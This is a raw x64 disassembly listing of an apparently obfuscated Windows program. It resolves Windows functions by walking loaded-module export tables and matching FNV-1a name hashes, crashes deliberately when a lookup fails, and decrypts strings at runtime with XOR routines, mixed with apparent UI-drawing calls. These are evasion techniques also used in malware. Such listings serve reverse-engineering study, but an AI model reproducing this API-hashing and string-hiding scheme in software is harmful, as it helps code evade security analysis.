mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b7f1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b7d0
cmp r8d, 0xa52bcaf9
je 0x14008b7fb
test r9d, r9d
jne 0x14008b7b0
mov rax, qword [rax]
jmp 0x14008b780
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov eax, dword [0x140161304]
mov dword [rsp + 0x78], eax
movzx eax, word [0x140161308]
mov word [rsp + 0x7c], ax
mov byte [rsp + 0x78], reloc.WLDAP32.dll_Ordinal_46
xor byte [rsp + 0x79], 0x38
xor byte [rsp + 0x7a], 0x39
xor byte [rsp + 0x7b], 0x3a
xor byte [rsp + 0x7c], 0x3b
xor byte [rsp + 0x7d], 0x3c
xor edx, edx
lea rcx, [rsp + 0x78]
call fcn.14006b410
test al, al
je 0x14008ba7f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b8f6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b8f6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b8f1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b8d0
cmp r8d, 0xcded1a85
je 0x14008b8fb
test r9d, r9d
jne 0x14008b8b0
mov rax, qword [rax]
jmp 0x14008b880
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008b9a6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008b9a6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008b9a1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008b980
cmp r8d, 0xe80fd3a
je 0x14008b9ab
test r9d, r9d
jne 0x14008b960
mov rax, qword [rax]
jmp 0x14008b930
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008ba56
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008ba56
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008ba51
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008ba30
cmp r8d, 0xa52bcaf9
je 0x14008ba5b
test r9d, r9d
jne 0x14008ba10
mov rax, qword [rax]
jmp 0x14008b9e0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
mov edx, Ordinal_301
lea ecx, [rdx - 0x32]
call qword [sym.imp.KERNEL32.dll_Beep]
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976f9], 0
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976f2], 1
jmp 0x14008bcbf
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bb36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bb36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bb31
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bb10
cmp r8d, 0xcded1a85
je 0x14008bb3b
test r9d, r9d
jne 0x14008baf0
mov rax, qword [rax]
jmp 0x14008bac0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bbe6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bbe6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bbe1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bbc0
cmp r8d, 0xe80fd3a
je 0x14008bbeb
test r9d, r9d
jne 0x14008bba0
mov rax, qword [rax]
jmp 0x14008bb70
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008bc96
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008bc96
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008bc91
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008bc70
cmp r8d, 0xa52bcaf9
je 0x14008bc9b
test r9d, r9d
jne 0x14008bc50
mov rax, qword [rax]
jmp 0x14008bc20
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x11b8]
call fcn.140064ee0
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x70]
mov dword [rbp + 0x550], 0x43700000
mov dword [rbp + 0x554], 0x43a00000
lea rcx, [rbp + 0x550]
call fcn.140025c50
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm7, xmmword [0x14011d0d0]
movaps xmm8, xmmword [0x140164440]
mov dword [rbp + 0x558], 0x43820000
mov dword [rbp + 0x55c], 0x42200000
movups xmm0, xmmword [0x140161310]
movups xmmword [rbp + 0x6e0], xmm0
movzx eax, byte [0x140161320]
mov byte [rbp + 0x6f0], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008be95
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6e4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14008bd90
cmp r8d, 0x11
jge 0x14008bee1
movsxd rax, r8d
lea r9, [rbp + 0x6e0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x14008beb0
movdqa xmmword [rsp + 0x50], xmm7
movdqa xmmword [rbp + 0xc0], xmm8
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140196680]
mov qword [rsp + 0x28], rax
lea rax, [0x140196678]
mov qword [rsp + 0x20], rax
lea r9, [0x140196670]
xor r8d, r8d
lea rdx, [rbp + 0x558]
lea rcx, [rbp + 0x6e0]
call fcn.14003f930
test al, al
je 0x14008bf55
mov byte [reloc.WS2_32.dll_accept], 0
mov byte [0x1401976f9], 1
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x560], 0x4432c000
mov dword [rbp + 0x564], 0x40a00000
lea rcx, [rbp + 0x560]
call fcn.140025c50
movaps xmm0, xmmword [0x140164430]
movaps xmm1, xmmword [0x140164400]
mov dword [rbp + 0x568], 0x41a00000
mov dword [rbp + 0x56c], 0x41f00000
movzx eax, word [0x140161324]
mov word [rbp - 0x74], ax
cmp byte [0x140161325], 0
je 0x14008bfe3
mov byte [rbp - 0x74], 0x78
xor byte [rbp - 0x73], 0x38
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rbp + 0xc0], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x30], rax
lea rax, [0x140196698]
mov qword [rsp + 0x28], rax
lea rax, [0x140196690]
mov qword [rsp + 0x20], rax
lea r9, [0x140196688]
xor r8d, r8d
lea rdx, [rbp + 0x568]
lea rcx, [rbp - 0x74]
call fcn.14003fdd0
test al, al
je 0x14008c044
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x570], 0x44278000
mov dword [rbp + 0x574], 0x43c80000
lea rcx, [rbp + 0x570]
call fcn.140025c50
movaps xmm6, xmmword [0x14011d0c0]
mov dword [rbp + 0x578], 0x42700000
mov dword [rbp + 0x57c], 0x42480000
movsd xmm0, qword [0x140161328]
movsd qword [rbp + 0x1d0], xmm0
mov eax, dword [0x140161330]
mov dword [rbp + 0x1d8], eax
mov esi, dword [reloc.WS2_32.dll_accept]
cmp byte [0x140161333], 0
je 0x14008c211
mov r8d, r12d
cmp esi, 2
jl 0x14008c1ca
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161328]
xorps xmm2, xmm0
movd dword [rbp + 0x1d0], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x1d4]
xorps xmm2, xmm1
movd dword [rbp + 0x1d4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14008c1e0
movdqa xmmword [rsp + 0x50], xmm6
movups xmm0, xmmword [0x140196300]
movdqa xmmword [rbp + 0xc0], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0xc0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x140197df0]
mov qword [rsp + 0x28], rax
lea rax, [0x140197df8]
mov qword [rsp + 0x20], rax
lea r9, [0x140197de8]
xor r8d, r8d
lea rdx, [rbp + 0x578]
lea rcx, [rbp + 0x1d0]
call fcn.14003f930
test al, al
je 0x14008c4ff
movups xmm0, xmmword [0x140161338]
movups xmmword [rbp + 0x9b0], xmm0
movups xmm1, xmmword [0x140161348]
movups xmmword [rbp + 0x9c0], xmm1
mov eax, dword [0x140161358]
mov dword [rbp + 0x9d0], eax
mov r8d, r12d
cmp esi, 2
jl 0x14008c3f5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x9b4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x14008c2f0
cmp r8d, 0x24
jge 0x14008c441
movsxd rax, r8d
lea r9, [rbp + 0x9b0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x14008c410
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x14008c4d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x14008c4d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14008c4d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14008c4b0
cmp r8d, 0x491e0a9c
je 0x14008c4db
test r9d, r9d
jne 0x14008c490
mov rax, qword [rax]
jmp 0x14008c460
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x9b0]
call rdx
mov rdi, qword [rbp + 0x70]
call fcn.140015b10
mov rbx, qword [rbp + 0x340]
cmp byte [0x1401976f9], 0
je 0x14008e670
mov qword [rbp + 0x580], 0
lea rcx, [rbp + 0x580]
call fcn.140025c50
mov rcx, rdi
call fcn.140025a50
call fcn.140019700
mov rsi, rax
movaps xmm0, xmmword [0x1401643d0]
mov dword [rax + 0x114], 0x3f4ccccd
mov dword [rax + 0x118], 0x3ecccccd
mov dword [rax + 0x11c], 0x3e4ccccd
mov dword [rax + 0x120], 0x3f800000
movups xmmword [rax + 0xf4], xmm0
mov dword [rax + 0xd4], 0x3f800000
mov dword [rax + 0xd8], 0x3f800000
mov dword [rax + 0xdc], 0x3f800000
mov dword [rax + 0xe0], 0x3f800000
mov dword [rax + 0x94], 0x3f000000
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x588], 0x44390000
mov dword [rbp + 0x58c], 0x43e60000
movsd xmm0, qword [0x140161360]
movsd qword [rbp - 0x38], xmm0
movzx eax, word [0x140161368]
mov word [rbp - 0x30], ax
cmp byte [0x140161369], 0
je 0x14008c60e
mov byte [rbp - 0x38], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x37], 0x38
xor byte [rbp - 0x36], 0x39
xor byte [rbp - 0x35], 0x3a
xor byte [rbp - 0x34], 0x3b
xor byte [rbp - 0x33], 0x3c
xor byte [rbp - 0x32], 0x3d
xor byte [rbp - 0x31], 0x3e
xor byte [rbp - 0x30], 0x3f
xor byte [rbp - 0x2f], 0x40
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x588]
lea rcx, [rbp - 0x38]
call fcn.140007ef0
mov dword [rbp + 0x590], 0x43814000
mov dword [rbp + 0x594], 0x42480000
lea rcx, [rbp + 0x590]
call fcn.140025c50
mov rcx, rbx
call fcn.140025a50
lea rcx, str.Cyprus
call fcn.14004f2f0
movaps xmm0, xmm9
call fcn.140021bd0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x598], 0x43700000
mov dword [rbp + 0x59c], 0x42f00000
lea rcx, [rbp + 0x598]
call fcn.140025c50
movsd xmm0, qword [0x140161370]
movsd qword [rbp + 0x100], xmm0
mov eax, dword [0x140161378]
mov dword [rbp + 0x108], eax
movzx eax, byte [0x14016137c]
mov byte [rbp + 0x10c], al
mov r8d, r12d
mov ebx, dword [reloc.WS2_32.dll_accept]
cmp ebx, 2
jl 0x14008c7cc
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161370]
xorps xmm2, xmm0
movd dword [rbp + 0x100], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x104]
xorps xmm2, xmm1
movd dword [rbp + 0x104], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008c7e0
lea rcx, [rbp + 0x100]
call fcn.14004f2f0
mov dword [rbp + 0x5a8], 0x43700000
mov dword [rbp + 0x5ac], 0x43110000
lea rcx, [rbp + 0x5a8]
call fcn.140025c50
movsd xmm0, qword [0x140161380]
movsd qword [rbp + 0x60], xmm0
movzx ecx, word [0x140161388]
mov word [rbp + 0x68], cx
movzx eax, byte [0x14016138a]
mov byte [rbp + 0x60], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 0x61], 0x38
xor byte [rbp + 0x62], 0x39
xor byte [rbp + 0x63], 0x3a
xor byte [rbp + 0x64], 0x3b
xor byte [rbp + 0x65], 0x3c
xor byte [rbp + 0x66], 0x3d
xor byte [rbp + 0x67], 0x3e
xor cl, 0x3f
mov byte [rbp + 0x68], cl
xor byte [rbp + 0x69], 0x40
xor al, 0x41
mov byte [rbp + 0x6a], al
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8d, 0xff
lea rdx, [0x140196332]
lea rcx, [rbp + 0x60]
call fcn.140047750
call fcn.140021460
movaps xmm0, xmm9
call fcn.140021bd0
mov rcx, rdi
call fcn.140025a50
mov dword [rbp + 0x5b0], 0x43700000
mov dword [rbp + 0x5b4], 0x43390000
lea rcx, [rbp + 0x5b0]
call fcn.140025c50
movsd xmm0, qword [0x140161390]
movsd qword [rbp + 0x110], xmm0
mov eax, dword [0x140161398]
mov dword [rbp + 0x118], eax
movzx eax, byte [0x14016139c]
mov byte [rbp + 0x11c], al
mov r8d, r12d
cmp ebx, 2
jl 0x14008ca21
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140161390]
xorps xmm2, xmm0
movd dword [rbp + 0x110], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x114]
xorps xmm2, xmm1
movd dword [rbp + 0x114], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x110]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14008ca30
lea rcx, [rbp + 0x110]
call fcn.14004f2f0
mov dword [rbp + 0x5b8], 0x43700000
mov dword [rbp + 0x5bc], 0x43520000
lea rcx, [rbp + 0x5b8]
call fcn.140025c50
movsd xmm0, qword [0x1401613a0]
movsd qword [rbp], xmm0
movzx ecx, word [0x1401613a8]
mov word [rbp + 8], cx
movzx eax, byte [0x1401613aa]
mov byte [rbp], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp + 1], 0x38
